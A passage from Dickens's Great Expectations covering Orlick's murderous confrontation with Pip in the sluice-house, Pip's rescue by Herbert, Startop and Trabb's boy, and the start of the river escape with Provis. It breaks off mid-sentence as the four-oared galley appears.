+deliberation, and dropped the match, and trod it out. Then, he put +the candle away from him on the table, so that he could see me, and +sat with his arms folded on the table and looked at me. I made out +that I was fastened to a stout perpendicular ladder a few inches +from the wall - a fixture there - the means of ascent to the loft +above. + +"Now," said he, when we had surveyed one another for some time, +"I've got you." + +"Unbind me. Let me go!" + +"Ah!" he returned, "I'll let you go. I'll let you go to the moon, +I'll let you go to the stars. All in good time." + +"Why have you lured me here?" + +"Don't you know?" said he, with a deadly look + +"Why have you set upon me in the dark?" + +"Because I mean to do it all myself. One keeps a secret better than +two. Oh you enemy, you enemy!" + +His enjoyment of the spectacle I furnished, as he sat with his arms +folded on the table, shaking his head at me and hugging himself, +had a malignity in it that made me tremble. As I watched him in +silence, he put his hand into the corner at his side, and took up a +gun with a brass-bound stock. + +"Do you know this?" said he, making as if he would take aim at me. +"Do you know where you saw it afore? Speak, wolf!" + +"Yes," I answered. + +"You cost me that place. You did. Speak!" + +"What else could I do?" + +"You did that, and that would be enough, without more. How dared +you to come betwixt me and a young woman I liked?" + +"When did I?" + +"When didn't you? It was you as always give Old Orlick a bad name +to her." + +"You gave it to yourself; you gained it for yourself. I could have +done you no harm, if you had done yourself none." + +"You're a liar. And you'll take any pains, and spend any money, to +drive me out of this country, will you?" said he, repeating my +words to Biddy in the last interview I had with her. "Now, I'll +tell you a piece of information. It was never so well worth your +while to get me out of this country as it is to-night. Ah! If it +was all your money twenty times told, to the last brass farden!" As +he shook his heavy hand at me, with his mouth snarling like a +tiger's, I felt that it was true. + +"What are you going to do to me?" + +"I'm a-going," said he, bringing his fist down upon the table with a +heavy blow, and rising as the blow fell, to give it greater force, +"I'm a-going to have your life!" + +He leaned forward staring at me, slowly unclenched his hand and +drew it across his mouth as if his mouth watered for me, and sat +down again. + +"You was always in Old Orlick's way since ever you was a child. You +goes out of his way, this present night. He'll have no more on you. +You're dead." + +I felt that I had come to the brink of my grave. For a moment I +looked wildly round my trap for any chance of escape; but there was +none. + +"More than that," said he, folding his arms on the table again, "I +won't have a rag of you, I won't have a bone of you, left on earth. +I'll put your body in the kiln - I'd carry two such to it, on my +shoulders - and, let people suppose what they may of you, they +shall never know nothing." + +My mind, with inconceivable rapidity, followed out all the +consequences of such a death. Estella's father would believe I had +deserted him, would be taken, would die accusing me; even Herbert +would doubt me, when he compared the letter I had left for him, +with the fact that I had called at Miss Havisham's gate for only a +moment; Joe and Biddy would never know how sorry I had been that +night; none would ever know what I had suffered, how true I had +meant to be, what an agony I had passed through. The death close +before me was terrible, but far more terrible than death was the +dread of being misremembered after death. And so quick were my +thoughts, that I saw myself despised by unborn generations - +Estella's children, and their children - while the wretch's words +were yet on his lips. + +"Now, wolf," said he, "afore I kill you like any other beast - +which is wot I mean to do and wot I have tied you up for - I'll +have a good look at you and a good goad at you. Oh, you enemy!" + +It had passed through my thoughts to cry out for help again; though +few could know better than I, the solitary nature of the spot, and +the hopelessness of aid. But as he sat gloating over me, I was +supported by a scornful detestation of him that sealed my lips. +Above all things, I resolved that I would not entreat him, and that +I would die making some last poor resistance to him. Softened as my +thoughts of all the rest of men were in that dire extremity; humbly +beseeching pardon, as I did, of Heaven; melted at heart, as I was, +by the thought that I had taken no farewell, and never never now +could take farewell, of those who were dear to me, or could explain +myself to them, or ask for their compassion on my miserable errors; +still, if I could have killed him, even in dying, I would have done +it. + +He had been drinking, and his eyes were red and bloodshot. Around +his neck was slung a tin bottle, as I had often seen his meat and +drink slung about him in other days. He brought the bottle to his +lips, and took a fiery drink from it; and I smelt the strong +spirits that I saw flash into his face. + +"Wolf!" said he, folding his arms again, "Old Orlick's a-going to +tell you somethink. It was you as did for your shrew sister." + +Again my mind, with its former inconceivable rapidity, had +exhausted the whole subject of the attack upon my sister, her +illness, and her death, before his slow and hesitating speech had +formed these words. + +"It was you, villain," said I. + +"I tell you it was your doing - I tell you it was done through +you," he retorted, catching up the gun, and making a blow with the +stock at the vacant air between us. "I come upon her from behind, +as I come upon you to-night. I giv' it her! I left her for dead, +and if there had been a limekiln as nigh her as there is now nigh +you, she shouldn't have come to life again. But it warn't Old +Orlick as did it; it was you. You was favoured, and he was bullied +and beat. Old Orlick bullied and beat, eh? Now you pays for it. You +done it; now you pays for it." + +He drank again, and became more ferocious. I saw by his tilting of +the bottle that there was no great quantity left in it. I +distinctly understood that he was working himself up with its +contents, to make an end of me. I knew that every drop it held, was +a drop of my life. I knew that when I was changed into a part of +the vapour that had crept towards me but a little while before, +like my own warning ghost, he would do as he had done in my +sister's case - make all haste to the town, and be seen slouching +about there, drinking at the ale-houses. My rapid mind pursued him +to the town, made a picture of the street with him in it, and +contrasted its lights and life with the lonely marsh and the white +vapour creeping over it, into which I should have dissolved. + +It was not only that I could have summed up years and years and +years while he said a dozen words, but that what he did say +presented pictures to me, and not mere words. In the excited and +exalted state of my brain, I could not think of a place without +seeing it, or of persons without seeing them. It is impossible to +over-state the vividness of these images, and yet I was so intent, +all the time, upon him himself - who would not be intent on the +tiger crouching to spring! - that I knew of the slightest action of +his fingers. + +When he had drunk this second time, he rose from the bench on which +he sat, and pushed the table aside. Then, he took up the candle, +and shading it with his murderous hand so as to throw its light on +me, stood before me, looking at me and enjoying the sight. + +"Wolf, I'll tell you something more. It was Old Orlick as you +tumbled over on your stairs that night." + +I saw the staircase with its extinguished lamps. I saw the shadows +of the heavy stair-rails, thrown by the watchman's lantern on the +wall. I saw the rooms that I was never to see again; here, a door +half open; there, a door closed; all the articles of furniture +around. + +"And why was Old Orlick there? I'll tell you something more, wolf. +You and her have pretty well hunted me out of this country, so far +as getting a easy living in it goes, and I've took up with new +companions, and new masters. Some of 'em writes my letters when I +wants 'em wrote - do you mind? - writes my letters, wolf! They +writes fifty hands; they're not like sneaking you, as writes but +one. I've had a firm mind and a firm will to have your life, since +you was down here at your sister's burying. I han't seen a way to +get you safe, and I've looked arter you to know your ins and outs. +For, says Old Orlick to himself, 'Somehow or another I'll have +him!' What! When I looks for you, I finds your uncle Provis, eh?" + +Mill Pond Bank, and Chinks's Basin, and the Old Green Copper +Rope-Walk, all so clear and plain! Provis in his rooms, the signal +whose use was over, pretty Clara, the good motherly woman, old Bill +Barley on his back, all drifting by, as on the swift stream of my +life fast running out to sea! + +"You with a uncle too! Why, I know'd you at Gargery's when you was +so small a wolf that I could have took your weazen betwixt this +finger and thumb and chucked you away dead (as I'd thoughts o' +doing, odd times, when I see you loitering amongst the pollards on +a Sunday), and you hadn't found no uncles then. No, not you! But +when Old Orlick come for to hear that your uncle Provis had +mostlike wore the leg-iron wot Old Orlick had picked up, filed +asunder, on these meshes ever so many year ago, and wot he kep by +him till he dropped your sister with it, like a bullock, as he +means to drop you - hey? - when he come for to hear that - hey?--" + +In his savage taunting, he flared the candle so close at me, that I +turned my face aside, to save it from the flame. + +"Ah!" he cried, laughing, after doing it again, "the burnt child +dreads the fire! Old Orlick knowed you was burnt, Old Orlick knowed +you was smuggling your uncle Provis away, Old Orlick's a match for +you and know'd you'd come to-night! Now I'll tell you something +more, wolf, and this ends it. There's them that's as good a match +for your uncle Provis as Old Orlick has been for you. Let him 'ware +them, when he's lost his nevvy! Let him 'ware them, when no man +can't find a rag of his dear relation's clothes, nor yet a bone of +his body. There's them that can't and that won't have Magwitch - +yes, I know the name! - alive in the same land with them, and +that's had such sure information of him when he was alive in +another land, as that he couldn't and shouldn't leave it unbeknown +and put them in danger. P'raps it's them that writes fifty hands, +and that's not like sneaking you as writes but one. 'Ware +Compeyson, Magwitch, and the gallows!" + +He flared the candle at me again, smoking my face and hair, and for +an instant blinding me, and turned his powerful back as he replaced +the light on the table. I had thought a prayer, and had been with +Joe and Biddy and Herbert, before he turned towards me again. + +There was a clear space of a few feet between the table and the +opposite wall. Within this space, he now slouched backwards and +forwards. His great strength seemed to sit stronger upon him than +ever before, as he did this with his hands hanging loose and heavy +at his sides, and with his eyes scowling at me. I had no grain of +hope left. Wild as my inward hurry was, and wonderful the force of +the pictures that rushed by me instead of thoughts, I could yet +clearly understand that unless he had resolved that I was within a +few moments of surely perishing out of all human knowledge, he +would never have told me what he had told. + +Of a sudden, he stopped, took the cork out of his bottle, and +tossed it away. Light as it was, I heard it fall like a plummet. He +swallowed slowly, tilting up the bottle by little and little, and +now he looked at me no more. The last few drops of liquor he poured +into the palm of his hand, and licked up. Then, with a sudden hurry +of violence and swearing horribly, he threw the bottle from him, +and stooped; and I saw in his hand a stone-hammer with a long heavy +handle. + +The resolution I had made did not desert me, for, without uttering +one vain word of appeal to him, I shouted out with all my might, +and struggled with all my might. It was only my head and my legs +that I could move, but to that extent I struggled with all the +force, until then unknown, that was within me. In the same instant +I heard responsive shouts, saw figures and a gleam of light dash in +at the door, heard voices and tumult, and saw Orlick emerge from a +struggle of men, as if it were tumbling water, clear the table at a +leap, and fly out into the night. + +After a blank, I found that I was lying unbound, on the floor, in +the same place, with my head on some one's knee. My eyes were fixed +on the ladder against the wall, when I came to myself - had opened +on it before my mind saw it - and thus as I recovered +consciousness, I knew that I was in the place where I had lost it. + +Too indifferent at first, even to look round and ascertain who +supported me, I was lying looking at the ladder, when there came +between me and it, a face. The face of Trabb's boy! + +"I think he's all right!" said Trabb's boy, in a sober voice; "but +ain't he just pale though!" + +At these words, the face of him who supported me looked over into +mine, and I saw my supporter to be-- + +"Herbert! Great Heaven!" + +"Softly," said Herbert. "Gently, Handel. Don't be too eager." + +"And our old comrade, Startop!" I cried, as he too bent over me. + +"Remember what he is going to assist us in," said Herbert, "and be +calm." + +The allusion made me spring up; though I dropped again from the +pain in my arm. "The time has not gone by, Herbert, has it? What +night is to-night? How long have I been here?" For, I had a strange +and strong misgiving that I had been lying there a long time - a +day and a night - two days and nights - more. + +"The time has not gone by. It is still Monday night." + +"Thank God!" + +"And you have all to-morrow, Tuesday, to rest in," said Herbert. +"But you can't help groaning, my dear Handel. What hurt have you +got? Can you stand?" + +"Yes, yes," said I, "I can walk. I have no hurt but in this +throbbing arm." + +They laid it bare, and did what they could. It was violently +swollen and inflamed, and I could scarcely endure to have it +touched. But, they tore up their handkerchiefs to make fresh +bandages, and carefully replaced it in the sling, until we could +get to the town and obtain some cooling lotion to put upon it. In a +little while we had shut the door of the dark and empty +sluice-house, and were passing through the quarry on our way back. +Trabb's boy - Trabb's overgrown young man now - went before us with +a lantern, which was the light I had seen come in at the door. But, +the moon was a good two hours higher than when I had last seen the +sky, and the night though rainy was much lighter. The white vapour +of the kiln was passing from us as we went by, and, as I had +thought a prayer before, I thought a thanksgiving now. + +Entreating Herbert to tell me how he had come to my rescue - which +at first he had flatly refused to do, but had insisted on my +remaining quiet - I learnt that I had in my hurry dropped the +letter, open, in our chambers, where he, coming home to bring with +him Startop whom he had met in the street on his way to me, found +it, very soon after I was gone. Its tone made him uneasy, and the +more so because of the inconsistency between it and the hasty +letter I had left for him. His uneasiness increasing instead of +subsiding after a quarter of an hour's consideration, he set off +for the coach-office, with Startop, who volunteered his company, to +make inquiry when the next coach went down. Finding that the +afternoon coach was gone, and finding that his uneasiness grew into +positive alarm, as obstacles came in his way, he resolved to follow +in a post-chaise. So, he and Startop arrived at the Blue Boar, +fully expecting there to find me, or tidings of me; but, finding +neither, went on to Miss Havisham's, where they lost me. Hereupon +they went back to the hotel (doubtless at about the time when I was +hearing the popular local version of my own story), to refresh +themselves and to get some one to guide them out upon the marshes. +Among the loungers under the Boar's archway, happened to be Trabb's +boy - true to his ancient habit of happening to be everywhere where +he had no business - and Trabb's boy had seen me passing from Miss +Havisham's in the direction of my dining-place. Thus, Trabb's boy +became their guide, and with him they went out to the sluice-house: +though by the town way to the marshes, which I had avoided. Now, as +they went along, Herbert reflected, that I might, after all, have +been brought there on some genuine and serviceable errand tending +to Provis's safety, and, bethinking himself that in that case +interruption must be mischievous, left his guide and Startop on the +edge of the quarry, and went on by himself, and stole round the +house two or three times, endeavouring to ascertain whether all was +right within. As he could hear nothing but indistinct sounds of one +deep rough voice (this was while my mind was so busy), he even at +last began to doubt whether I was there, when suddenly I cried out +loudly, and he answered the cries, and rushed in, closely followed +by the other two. + +When I told Herbert what had passed within the house, he was for +our immediately going before a magistrate in the town, late at +night as it was, and getting out a warrant. But, I had already +considered that such a course, by detaining us there, or binding us +to come back, might be fatal to Provis. There was no gainsaying +this difficulty, and we relinquished all thoughts of pursuing +Orlick at that time. For the present, under the circumstances, we +deemed it prudent to make rather light of the matter to Trabb's +boy; who I am convinced would have been much affected by +disappointment, if he had known that his intervention saved me from +the limekiln. Not that Trabb's boy was of a malignant nature, but +that he had too much spare vivacity, and that it was in his +constitution to want variety and excitement at anybody's expense. +When we parted, I presented him with two guineas (which seemed to +meet his views), and told him that I was sorry ever to have had an +ill opinion of him (which made no impression on him at all). + +Wednesday being so close upon us, we determined to go back to +London that night, three in the post-chaise; the rather, as we +should then be clear away, before the night's adventure began to be +talked of. Herbert got a large bottle of stuff for my arm, and by +dint of having this stuff dropped over it all the night through, I +was just able to bear its pain on the journey. It was daylight when +we reached the Temple, and I went at once to bed, and lay in bed +all day. + +My terror, as I lay there, of falling ill and being unfitted for +tomorrow, was so besetting, that I wonder it did not disable me of +itself. It would have done so, pretty surely, in conjunction with +the mental wear and tear I had suffered, but for the unnatural +strain upon me that to-morrow was. So anxiously looked forward to, +charged with such consequences, its results so impenetrably hidden +though so near. + +No precaution could have been more obvious than our refraining from +communication with him that day; yet this again increased my +restlessness. I started at every footstep and every sound, +believing that he was discovered and taken, and this was the +messenger to tell me so. I persuaded myself that I knew he was +taken; that there was something more upon my mind than a fear or a +presentiment; that the fact had occurred, and I had a mysterious +knowledge of it. As the day wore on and no ill news came, as the +day closed in and darkness fell, my overshadowing dread of being +disabled by illness before to-morrow morning, altogether mastered +me. My burning arm throbbed, and my burning head throbbed, and I +fancied I was beginning to wander. I counted up to high numbers, to +make sure of myself, and repeated passages that I knew in prose and +verse. It happened sometimes that in the mere escape of a fatigued +mind, I dozed for some moments or forgot; then I would say to +myself with a start, "Now it has come, and I am turning delirious!" + +They kept me very quiet all day, and kept my arm constantly +dressed, and gave me cooling drinks. Whenever I fell asleep, I +awoke with the notion I had had in the sluice-house, that a long +time had elapsed and the opportunity to save him was gone. About +midnight I got out of bed and went to Herbert, with the conviction +that I had been asleep for four-and-twenty hours, and that +Wednesday was past. It was the last self-exhausting effort of my +fretfulness, for, after that, I slept soundly. + +Wednesday morning was dawning when I looked out of window. The +winking lights upon the bridges were already pale, the coming sun +was like a marsh of fire on the horizon. The river, still dark and +mysterious, was spanned by bridges that were turning coldly grey, +with here and there at top a warm touch from the burning in the +sky. As I looked along the clustered roofs, with Church towers and +spires shooting into the unusually clear air, the sun rose up, and +a veil seemed to be drawn from the river, and millions of sparkles +burst out upon its waters. From me too, a veil seemed to be drawn, +and I felt strong and well. + +Herbert lay asleep in his bed, and our old fellow-student lay +asleep on the sofa. I could not dress myself without help, but I +made up the fire, which was still burning, and got some coffee +ready for them. In good time they too started up strong and well, +and we admitted the sharp morning air at the windows, and looked at +the tide that was still flowing towards us. + +"When it turns at nine o'clock," said Herbert, cheerfully, "look +out for us, and stand ready, you over there at Mill Pond Bank!" + + +Chapter 54 + +It was one of those March days when the sun shines hot and the wind +blows cold: when it is summer in the light, and winter in the +shade. We had out pea-coats with us, and I took a bag. Of all my +worldly possessions I took no more than the few necessaries that +filled the bag. Where I might go, what I might do, or when I might +return, were questions utterly unknown to me; nor did I vex my mind +with them, for it was wholly set on Provis's safety. I only +wondered for the passing moment, as I stopped at the door and +looked back, under what altered circumstances I should next see +those rooms, if ever. + +We loitered down to the Temple stairs, and stood loitering there, +as if we were not quite decided to go upon the water at all. Of +course I had taken care that the boat should be ready and +everything in order. After a little show of indecision, which there +were none to see but the two or three amphibious creatures +belonging to our Temple stairs, we went on board and cast off; +Herbert in the bow, I steering. It was then about high-water - +half-past eight. + +Our plan was this. The tide, beginning to run down at nine, and +being with us until three, we intended still to creep on after it +had turned, and row against it until dark. We should then be well +in those long reaches below Gravesend, between Kent and Essex, +where the river is broad and solitary, where the waterside +inhabitants are very few, and where lone public-houses are +scattered here and there, of which we could choose one for a +resting-place. There, we meant to lie by, all night. The steamer +for Hamburg, and the steamer for Rotterdam, would start from London +at about nine on Thursday morning. We should know at what time to +expect them, according to where we were, and would hail the first; +so that if by any accident we were not taken abroad, we should have +another chance. We knew the distinguishing marks of each vessel. + +The relief of being at last engaged in the execution of the +purpose, was so great to me that I felt it difficult to realize the +condition in which I had been a few hours before. The crisp air, +the sunlight, the movement on the river, and the moving river +itself - the road that ran with us, seeming to sympathize with us, +animate us, and encourage us on - freshened me with new hope. I +felt mortified to be of so little use in the boat; but, there were +few better oarsmen than my two friends, and they rowed with a +steady stroke that was to last all day. + +At that time, the steam-traffic on the Thames was far below its +present extent, and watermen's boats were far more numerous. Of +barges, sailing colliers, and coasting traders, there were perhaps +as many as now; but, of steam-ships, great and small, not a tithe +or a twentieth part so many. Early as it was, there were plenty of +scullers going here and there that morning, and plenty of barges +dropping down with the tide; the navigation of the river between +bridges, in an open boat, was a much easier and commoner matter in +those days than it is in these; and we went ahead among many skiffs +and wherries, briskly. + +Old London Bridge was soon passed, and old Billingsgate market with +its oyster-boats and Dutchmen, and the White Tower and Traitor's +Gate, and we were in among the tiers of shipping. Here, were the +Leith, Aberdeen, and Glasgow steamers, loading and unloading goods, +and looking immensely high out of the water as we passed alongside; +here, were colliers by the score and score, with the coal-whippers +plunging off stages on deck, as counterweights to measures of coal +swinging up, which were then rattled over the side into barges; +here, at her moorings was to-morrow's steamer for Rotterdam, of +which we took good notice; and here to-morrow's for Hamburg, under +whose bowsprit we crossed. And now I, sitting in the stern, could +see with a faster beating heart, Mill Pond Bank and Mill Pond +stairs. + +"Is he there?" said Herbert. + +"Not yet." + +"Right! He was not to come down till he saw us. Can you see his +signal?" + +"Not well from here; but I think I see it. - Now, I see him! Pull +both. Easy, Herbert. Oars!" + +We touched the stairs lightly for a single moment, and he was on +board and we were off again. He had a boat-cloak with him, and a +black canvas bag, and he looked as like a river-pilot as my heart +could have wished. "Dear boy!" he said, putting his arm on my +shoulder as he took his seat. "Faithful dear boy, well done. +Thankye, thankye!" + +Again among the tiers of shipping, in and out, avoiding rusty +chain-cables frayed hempen hawsers and bobbing buoys, sinking for +the moment floating broken baskets, scattering floating chips of +wood and shaving, cleaving floating scum of coal, in and out, under +the figure-head of the John of Sunderland making a speech to the +winds (as is done by many Johns), and the Betsy of Yarmouth with a +firm formality of bosom and her nobby eyes starting two inches out +of her head, in and out, hammers going in shipbuilders'yards, saws +going at timber, clashing engines going at things unknown, pumps +going in leaky ships, capstans going, ships going out to sea, and +unintelligible sea-creatures roaring curses over the bulwarks at +respondent lightermen, in and out - out at last upon the clearer +river, where the ships' boys might take their fenders in, no longer +fishing in troubled waters with them over the side, and where the +festooned sails might fly out to the wind. + +At the Stairs where we had taken him abroad, and ever since, I had +looked warily for any token of our being suspected. I had seen +none. We certainly had not been, and at that time as certainly we +were not, either attended or followed by any boat. If we had been +waited on by any boat, I should have run in to shore, and have +obliged her to go on, or to make her purpose evident. But, we held +our own, without any appearance of molestation. + +He had his boat-cloak on him, and looked, as I have said, a natural +part of the scene. It was remarkable (but perhaps the wretched life +he had led, accounted for it), that he was the least anxious of any +of us. He was not indifferent, for he told me that he hoped to live +to see his gentleman one of the best of gentlemen in a foreign +country; he was not disposed to be passive or resigned, as I +understood it; but he had no notion of meeting danger half way. +When it came upon him, he confronted it, but it must come before he +troubled himself. + +"If you knowed, dear boy," he said to me, "what it is to sit here +alonger my dear boy and have my smoke, arter having been day by day +betwixt four walls, you'd envy me. But you don't know what it is." + +"I think I know the delights of freedom," I answered. + +"Ah," said he, shaking his head gravely. "But you don't know it +equal to me. You must have been under lock and key, dear boy, to +know it equal to me - but I ain't a-going to be low." + +It occurred to me as inconsistent, that for any mastering idea, he +should have endangered his freedom and even his life. But I +reflected that perhaps freedom without danger was too much apart +from all the habit of his existence to be to him what it would be +to another man. I was not far out, since he said, after smoking a +little: + +"You see, dear boy, when I was over yonder, t'other side the world, +I was always a-looking to this side; and it come flat to be there, +for all I was a-growing rich. Everybody knowed Magwitch, and +Magwitch could come, and Magwitch could go, and nobody's head would +be troubled about him. They ain't so easy concerning me here, dear +boy - wouldn't be, leastwise, if they knowed where I was." + +"If all goes well," said I, "you will be perfectly free and safe +again, within a few hours." + +"Well," he returned, drawing a long breath, "I hope so." + +"And think so?" + +He dipped his hand in the water over the boat's gunwale, and said, +smiling with that softened air upon him which was not new to me: + +"Ay, I s'pose I think so, dear boy. We'd be puzzled to be more +quiet and easy-going than we are at present. But - it's a-flowing +so soft and pleasant through the water, p'raps, as makes me think +it - I was a-thinking through my smoke just then, that we can no +more see to the bottom of the next few hours, than we can see to +the bottom of this river what I catches hold of. Nor yet we can't +no more hold their tide than I can hold this. And it's run through +my fingers and gone, you see!" holding up his dripping hand. + +"But for your face, I should think you were a little despondent," +said I. + +"Not a bit on it, dear boy! It comes of flowing on so quiet, and of +that there rippling at the boat's head making a sort of a Sunday +tune. Maybe I'm a-growing a trifle old besides." + +He put his pipe back in his mouth with an undisturbed expression of +face, and sat as composed and contented as if we were already out +of England. Yet he was as submissive to a word of advice as if he +had been in constant terror, for, when we ran ashore to get some +bottles of beer into the boat, and he was stepping out, I hinted +that I thought he would be safest where he was, and he said. "Do +you, dear boy?" and quietly sat down again. + +The air felt cold upon the river, but it was a bright day, and the +sunshine was very cheering. The tide ran strong, I took care to +lose none of it, and our steady stroke carried us on thoroughly +well. By imperceptible degrees, as the tide ran out, we lost more +and more of the nearer woods and hills, and dropped lower and lower +between the muddy banks, but the tide was yet with us when we were +off Gravesend. As our charge was wrapped in his cloak, I purposely +passed within a boat or two's length of the floating Custom House, +and so out to catch the stream, alongside of two emigrant ships, +and under the bows of a large transport with troops on the +forecastle looking down at us. And soon the tide began to slacken, +and the craft lying at anchor to swing, and presently they had all +swung round, and the ships that were taking advantage of the new +tide to get up to the Pool, began to crowd upon us in a fleet, and +we kept under the shore, as much out of the strength of the tide +now as we could, standing carefully off from low shallows and +mudbanks. + +Our oarsmen were so fresh, by dint of having occasionally let her +drive with the tide for a minute or two, that a quarter of an +hour's rest proved full as much as they wanted. We got ashore among +some slippery stones while we ate and drank what we had with us, +and looked about. It was like my own marsh country, flat and +monotonous, and with a dim horizon; while the winding river turned +and turned, and the great floating buoys upon it turned and turned, +and everything else seemed stranded and still. For, now, the last +of the fleet of ships was round the last low point we had headed; +and the last green barge, straw-laden, with a brown sail, had +followed; and some ballast-lighters, shaped like a child's first +rude imitation of a boat, lay low in the mud; and a little squat +shoal-lighthouse on open piles, stood crippled in the mud on stilts +and crutches; and slimy stakes stuck out of the mud, and slimy +stones stuck out of the mud, and red landmarks and tidemarks stuck +out of the mud, and an old landing-stage and an old roofless building +slipped into the mud, and all about us was stagnation and mud. + +We pushed off again, and made what way we could. It was much harder +work now, but Herbert and Startop persevered, and rowed, and rowed, +and rowed, until the sun went down. By that time the river had +lifted us a little, so that we could see above the bank. There was +the red sun, on the low level of the shore, in a purple haze, fast +deepening into black; and there was the solitary flat marsh; and +far away there were the rising grounds, between which and us there +seemed to be no life, save here and there in the foreground a +melancholy gull. + +As the night was fast falling, and as the moon, being past the +full, would not rise early, we held a little council: a short one, +for clearly our course was to lie by at the first lonely tavern we +could find. So, they plied their oars once more, and I looked out +for anything like a house. Thus we held on, speaking little, for +four or five dull miles. It was very cold, and, a collier coming by +us, with her galley-fire smoking and flaring, looked like a +comfortable home. The night was as dark by this time as it would be +until morning; and what light we had, seemed to come more from the +river than the sky, as the oars in their dipping struck at a few +reflected stars. + +At this dismal time we were evidently all possessed by the idea that +we were followed. As the tide made, it flapped heavily at irregular +intervals against the shore; and whenever such a sound came, one or +other of us was sure to start and look in that direction. Here and +there, the set of the current had worn down the bank into a little +creek, and we were all suspicious of such places, and eyed them +nervously. Sometimes, "What was that ripple?" one of us would say +in a low voice. Or another, "Is that a boat yonder?" And +afterwards, we would fall into a dead silence, and I would sit +impatiently thinking with what an unusual amount of noise the oars +worked in the thowels. + +At length we descried a light and a roof, and presently afterwards +ran alongside a little causeway made of stones that had been picked +up hard by. Leaving the rest in the boat, I stepped ashore, and +found the light to be in a window of a public-house. It was a dirty +place enough, and I dare say not unknown to smuggling adventurers; +but there was a good fire in the kitchen, and there were eggs and +bacon to eat, and various liquors to drink. Also, there were two +double-bedded rooms - "such as they were," the landlord said. No +other company was in the house than the landlord, his wife, and a +grizzled male creature, the "Jack" of the little causeway, who was +as slimy and smeary as if he had been low-water mark too. + +With this assistant, I went down to the boat again, and we all came +ashore, and brought out the oars, and rudder, and boat-hook, and +all else, and hauled her up for the night. We made a very good meal +by the kitchen fire, and then apportioned the bedrooms: Herbert and +Startop were to occupy one; I and our charge the other. We found +the air as carefully excluded from both, as if air were fatal to +life; and there were more dirty clothes and bandboxes under the +beds than I should have thought the family possessed. But, we +considered ourselves well off, notwithstanding, for a more solitary +place we could not have found. + +While we were comforting ourselves by the fire after our meal, the +Jack - who was sitting in a corner, and who had a bloated pair of +shoes on, which he had exhibited while we were eating our eggs and +bacon, as interesting relics that he had taken a few days ago from +the feet of a drowned seaman washed ashore - asked me if we had +seen a four-oared galley going up with the tide? When I told him +No, he said she must have gone down then, and yet she "took up +too," when she left there. + +"They must ha' thought better on't for some reason or another," +said the Jack, "and gone down." + +"A four-oared galley, did you say?" said I. + +"A four," said the Jack, "and two sitters." + +"Did they come ashore here?" + +"They put in with a stone two-gallon jar, for some beer. I'd +ha'been glad to pison the beer myself," said the Jack, "or put some +rattling physic in it." + +"Why?" + +"I know why," said the Jack. He spoke in a slushy voice, as if much +mud had washed into his throat. + +"He thinks," said the landlord: a weakly meditative man with a pale +eye, who seemed to rely greatly on his Jack: "he thinks they was, +what they wasn't." + +"I knows what I thinks," observed the Jack. + +"You thinks Custum 'Us, Jack?" said the landlord. + +"I do," said the Jack. + +"Then you're wrong, Jack." + +"Am I!" + +In the infinite meaning of his reply and his boundless confidence +in his views, the Jack took one of his bloated shoes off, looked +into it, knocked a few stones out of it on the kitchen floor, and +put it on again. He did this with the air of a Jack who was so +right that he could afford to do anything. + +"Why, what do you make out that they done with their buttons then, +Jack?" asked the landlord, vacillating weakly. + +"Done with their buttons?" returned the Jack. "Chucked 'em +overboard. Swallered 'em. Sowed 'em, to come up small salad. Done +with their buttons!" + +"Don't be cheeky, Jack," remonstrated the landlord, in a melancholy +and pathetic way. + +"A Custum 'Us officer knows what to do with his Buttons," said the +Jack, repeating the obnoxious word with the greatest contempt, +"when they comes betwixt him and his own light. A Four and two +sitters don't go hanging and hovering, up with one tide and down +with another, and both with and against another, without there +being Custum 'Us at the bottom of it." Saying which he went out in +disdain; and the landlord, having no one to reply upon, found it +impracticable to pursue the subject. + +This dialogue made us all uneasy, and me very uneasy. The dismal +wind was muttering round the house, the tide was flapping at the +shore, and I had a feeling that we were caged and threatened. A +four-oared galley hovering about in so unusual a way as to attract +this notice, was an ugly circumstance that I could not get rid of. +When I had induced Provis to go up to bed, I went outside with my +two companions (Startop by this time knew the state of the case), +and held another council. Whether we should remain at the house +until near the steamer's time, which would be about one in the +afternoon; or whether we should put off early in the morning; was +the question we discussed. On the whole we deemed it the better +course to lie where we were, until within an hour or so of the +steamer's time, and then to get out in her track, and drift easily +with the tide. Having settled to do this, we returned into the +house and went to bed. + +I lay down with the greater part of my clothes on, and slept well +for a few hours. When I awoke, the wind had risen, and the sign of +the house (the Ship) was creaking and banging about, with noises +that startled me. Rising softly, for my charge lay fast asleep, I +looked out of the window. It commanded the causeway where we had +hauled up our boat, and, as my eyes adapted themselves to the light +of the clouded moon, I saw two men looking into her. They passed by +under the window, looking at nothing else, and they did not go down +to the landing-place which I could discern to be empty, but struck +across the marsh in the direction of the Nore. + +My first impulse was to call up Herbert, and show him the two men +going away. But, reflecting before I got into his room, which was +at the back of the house and adjoined mine, that he and Startop had +had a harder day than I, and were fatigued, I forbore. Going back +to my window, I could see the two men moving over the marsh. In +that light, however, I soon lost them, and feeling very cold, lay +down to think of the matter, and fell asleep again. + +We were up early. As we walked to and fro, all four together, +before breakfast, I deemed it right to recount what I had seen. +Again our charge was the least anxious of the party. It was very +likely that the men belonged to the Custom House, he said quietly, +and that they had no thought of us. I tried to persuade myself that +it was so - as, indeed, it might easily be. However, I proposed +that he and I should walk away together to a distant point we could +see, and that the boat should take us aboard there, or as near +there as might prove feasible, at about noon. This being considered +a good precaution, soon after breakfast he and I set forth, without +saying anything at the tavern. + +He smoked his pipe as we went along, and sometimes stopped to clap +me on the shoulder. One would have supposed that it was I who was +in danger, not he, and that he was reassuring me. We spoke very +little. As we approached the point, I begged him to remain in a +sheltered place, while I went on to reconnoitre; for, it was +towards it that the men had passed in the night. He complied, and I +went on alone. There was no boat off the point, nor any boat drawn +up anywhere near it, nor were there any signs of the men having +embarked there. But, to be sure the tide was high, and there might +have been some footprints under water. + +When he looked out from his shelter in the distance, and saw that I +waved my hat to him to come up, he rejoined me, and there we +waited; sometimes lying on the bank wrapped in our coats, and +sometimes moving about to warm ourselves: until we saw our boat +coming round. We got aboard easily, and rowed out into the track of +the steamer. By that time it wanted but ten minutes of one o'clock, +and we began to look out for her smoke. + +But, it was half-past one before we saw her smoke, and soon +afterwards we saw behind it the smoke of another steamer. As they +were coming on at full speed, we got the two bags ready, and took +that opportunity of saying good-bye to Herbert and Startop. We had +all shaken hands cordially, and neither Herbert's eyes nor mine +were quite dry, when I saw a four-oared galley shoot out from under +the bank but a little way ahead of us, and row out into the same +track. + +A stretch of shore had been as yet between us and the steamer's +smoke, by reason of the bend and wind of the river; but now she was +visible, coming head on. I called to Herbert and Startop to keep +before the tide, that she might see us lying by for her, and I +adjured Provis to sit quite still, wrapped in his cloak. He +answered cheerily, "Trust to 